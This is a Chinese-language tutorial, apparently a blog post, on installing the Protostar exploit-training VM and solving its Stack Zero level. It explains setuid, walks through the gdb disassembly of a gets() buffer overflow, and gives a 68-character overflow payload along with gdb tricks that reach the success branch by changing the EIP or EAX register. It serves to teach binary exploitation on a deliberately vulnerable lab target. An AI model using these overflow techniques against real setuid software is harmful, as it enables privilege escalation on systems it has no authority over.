二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO

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简介

pwn是ctf比赛的方向之一，也是门槛最高的，学pwn前需要很多知识，这里建议先去在某宝上买一本汇编语言第四版，看完之后学一下python和c语言，python推荐看油管FreeCodeCamp的教程，c语言也是

pwn题目大部分是破解在远程服务器上运行的二进制文件，利用二进制文件中的漏洞来获得对系统的访问权限

这是一个入门pwn很好的靶场，这个靶场包括了：

网络编程
处理套接字
栈溢出
格式化字符串
堆溢出
写入shellcode

下载地址：

https://exploit.education/downloads/

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实验环境部署

Protostar靶机下载地址：https://exploit.education/protostar/
windoows的ssh连接软件：https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

下载完Protostar的镜像文件后，将其安装到vmware上，然后打开

账号为user，密码user
如何切换到root权限：进入user用户然后 su root 密码为godmod

ssh远程连接
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输入IP后点击打开，输入账号密码，然后输入/bin/bash，更换为可以补全字符串的shell
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在网站的Protostar靶机的介绍处，我们要破解的题目存放在这个目录下

/opt/protostar/bin

我们进入这个目录，详细查看文件

ls -al

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发现文件都是红色的，我们详细的查看文件

flie stack0

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这是一个32位的setuid程序

setuid

什么是setuid？

setuid代表设置用户身份，并且setuid设置调用进程的有效用户ID，用户运行程序的uid与调用进程的真实uid不匹配

这么说起来有点绕，我们来举一个例子

一个要以root权限运行的程序，但我们想让普通用户也能运行它，但又要防止该程序被攻击者利用，这里就需要用的setuid了

演示
我们用user用户运行一个vim
然后新开一个窗口查看后台进程

ps -aux

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这里可以看到，我们的vim正在以user的权限运行中，然后我们去执行一下靶机上的setuid文件看看
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这里可以看到，我们虽然是user用户，但执行文件后，文件正以root权限运行
我们查看文件的权限
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r代表读，w代表写，x代表执行，那s是什么呢

s替换了以x的可执行文件，这被称为setuid位，根据刚刚的操作，应该知道了s是做什么的

当这个位被user权限的用户执行时，linux实际上是以文件的创造者的权限运行的，在这种情况下，它是以root权限运行的
我们的目标就是，破解这些文件然后拿到root权限

STACK ZERO程序源代码分析

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我们破解一个简单的题，通过分析汇编语言，以及相关的知识，来带大家进一步了解程序是如何运行的以及如何破解的

题目的源代码：https://exploit.education/protostar/stack-zero/

题目详情：这个级别介绍了内存可以在其分配区域之外访问的概念，堆栈变量的布局方式，以及在分配的内存之外进行修改可以修改程序执行。
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分析源代码，这是由c语言写成的程序，

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>int main(int argc, char **argv)
{volatile int modified;          //定义一个变量char buffer[64];           //给buffer变量定义数组，c语言中一个字符数就是一个字符串modified = 0;            //modified变量=0gets(buffer);             //获取我们的输入，赋予到buffer变量里if(modified != 0) {               //如果modified不等于0printf("you have changed the 'modified' variable\n");                //打印'成功改变modified变量'字符串} else {                        //否则printf("Try again?\n");                   //打印'再试一次'}
}

很明显，我们要使if语句成功判断，打印成功改变变量的字符串，关于如何破解程序，获取root权限，我会在下一篇文章中介绍

gets函数漏洞分析

在gets函数的官方文档里，有这么一句话
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永远不要使用gets函数，因为如果事先不知道数据，就无法判断gets将读取多少个字符，因为gets将继续存储字符当超过缓冲区的末端时，使用它是极其危险的，它会破坏计算机安全，请改用fgets。

汇编分析

我们使用gdb打开程序进行进一步的分析

gdb /opt/protostar/bin/stack0

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然后我们查看程序的汇编代码，来了解程序的堆栈是如何工作的

set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main  显示所有的汇编程序指令

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0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

0x080483f4 <main+0>:    push   ebp

第一条是将ebp推入栈中，ebp是cpu的一个寄存器，它包含一个地址，指向堆栈中的某个位置，它存放着栈底的地址，在因特尔的指令参考官方资料中，可以看到，mov esp、ebp和pop ebp是函数的开始和结束
https://www.intel.de/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf
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在这个程序中，最初操作是将ebp推入栈中，然后把esp的值放入ebp中，而当函数结束时执行了leave操作

0x08048433 <main+63>:   leave
leave:
mov esp,ebp
pop ebp

可以看到，程序开头和结尾的操作都是对称的
之后执行了如下操作

0x080483f7 <main+3>:    and    esp,0xfffffff0

AND 指令可以清除一个操作数中的 1 个位或多个位，同时又不影响其他位。这个技术就称为位屏蔽，就像在粉刷房子时，用遮盖胶带把不用粉刷的地方（如窗户）盖起来，在这里，它隐藏了esp的地址

0x080483fa <main+6>:    sub    esp,0x60

然后esp减去十六进制的60

0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0

在内存移动的位置为0，在堆栈上的偏移为0x5c
段地址+偏移地址=物理地址
举一个例子，你从家到学校有2000米，这2000米就是物理地址，你从家到医院有1500米，离学校还要500米，这剩下的500米就是偏移地址
这里推荐大家看一下《汇编语言》这本书，在这本书里有很多关于计算机底层的相关知识

0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>

lea操作是取有效地址，也就是取esp地址+偏移地址0x1c处的堆栈
然后DWORD PTR要取eax的地址到esp中
调用gets函数

0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax

然后对比之前设置的值，0，用test来检查

0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>

这些就是if循环的操作了

实战演示

方法一：溢出

0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

我们先在gets函数地址下一个断点，这样程序在运行到这个地址时会停止继续运行下一步操作。

断点意思就是让程序执行到此“停住”，不再往下执行

b *0x0804840c

然后在调用gets函数后下一个断点，来看我们输入的字符串在哪里

b *0x08048411

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然后设置

define hook-stop

这个工具可以帮助我们在每一步操作停下来后，自动的运行我们设置的命令

info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

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然后我们输入run运行程序到第一个断点

r

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现在我们马上就要执行gets函数了，输入n执行gets函数

n    //next

我们随意输入一些内容，按下回车键
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可以看到，0x41是A的ascii码，我们距离0x0000000还有一段距离

x/wx $esp+0x5c            //查看esp地址+0x5c偏移地址的内容

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算了一下，我们需要68个字符才能覆盖
输入q退出gdb
然后使用echo或者python对程序进行输入

echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0

python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0

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可以看到，我们已经成功打印出了正确的字符

方式二：更改eip寄存器的值

寄存器的功能是存储二进制代码，不同的寄存器有不同的作用，这里，我们要认识一个很重要的寄存器，他叫做EIP，在64位程序里叫做RIP，他是程序的指针，指针就是寻找地址的，指到什么地址，就会运行该地址的参数，控制了这个指针，就能控制整个程序的运行
重新打开程序，由于我们可以控制eip寄存器，随便在哪下一个断点都行，我这里在程序头下一个断点

 b *main

运行程序到断点处

r

查看所有寄存器的值

info registers

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我打的断点地址为0x80483fd而eip寄存器的值也是0x80483fd
查看程序汇编代码
在这里插入图片描述
如果我们输入的值和程序设置的值不一样，就会跳转到0x8048427这个位置，然后输出try again，也就是破解失败，所以我们将eip寄存器的值修改成0x8048419，下一个地址调用了put函数，输出的是you have changed the ‘modified’ variable也就是破解成功了
现在我们修改eip寄存器的值

set $eip=0x8048419

修改后再次查看所有寄存器里的值，可以看到，现在eip指向了我们指定的地址
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n //执行下一个地址

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破解成功

方式三：修改eax寄存器的值

在这里插入图片描述

最直接的方法是改变对比的值，使eax寄存器的值为不等于0，因为程序源代码逻辑为不等于0后才会输出正确的提示字符you have changed the ‘modified’ variable
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在对比的地方下一个断点

b *0x08048415

运行程序

r

查看所有寄存器里的值
在这里插入图片描述
修改eax寄存器里的值

set $eax = 1

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然后继续运行程序

在这里插入图片描述

破解成功

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